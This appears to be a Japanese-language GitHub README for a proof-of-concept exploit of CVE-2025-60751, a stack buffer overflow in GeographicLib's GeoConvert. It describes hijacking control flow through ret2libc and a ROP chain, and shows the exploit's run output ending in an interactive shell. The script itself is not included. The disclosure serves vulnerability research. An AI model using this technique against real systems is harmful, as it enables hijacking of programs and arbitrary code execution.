zer0matt/cve-2025-60751PoC of CVE-2025-60751
CVE-2025-60751 の PoC
影響を受ける製品: Geographiclib <= v2.5.1
詳細な解説記事は https://zer0matt.blogspot.com/2026/05/cve-2025-60751-geographiclib-stack.html で入手できます。
GeoConvert が細工された入力を受け取ると、スタックバッファオーバーフローが発生します。 このオーバーフローは、プログラムが内部インデックスを適切に検証しないため、スタック上の領域外書き込みが可能になることで発生します。
攻撃者はこの脆弱性を悪用して、リターンアドレスを libc 関数を指すように上書きし (ret2libc)、ROP チェーンを使用して任意のコードを実行することで、プログラムの制御フローを乗っ取ることができます。
[~] python3 CVE-2025-60751.py
[*] '/home/matt/geographiclib/tools/GeoConvert'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
ASAN: Enabled
Stripped: No
Debuginfo: Yes
[+] Starting local process '/home/matt/geographiclib/tools/GeoConvert': pid 398391
[*] Switching to interactive mode
ERROR: Column letter A not in UPS band A set JKLPQRSTUXYZ
$
独自の ROP チェーンを構築するには、それに応じてアドレスを修正することを忘れないでください。ASLR などのメモリ防御技術により、アドレスは変動する可能性があります。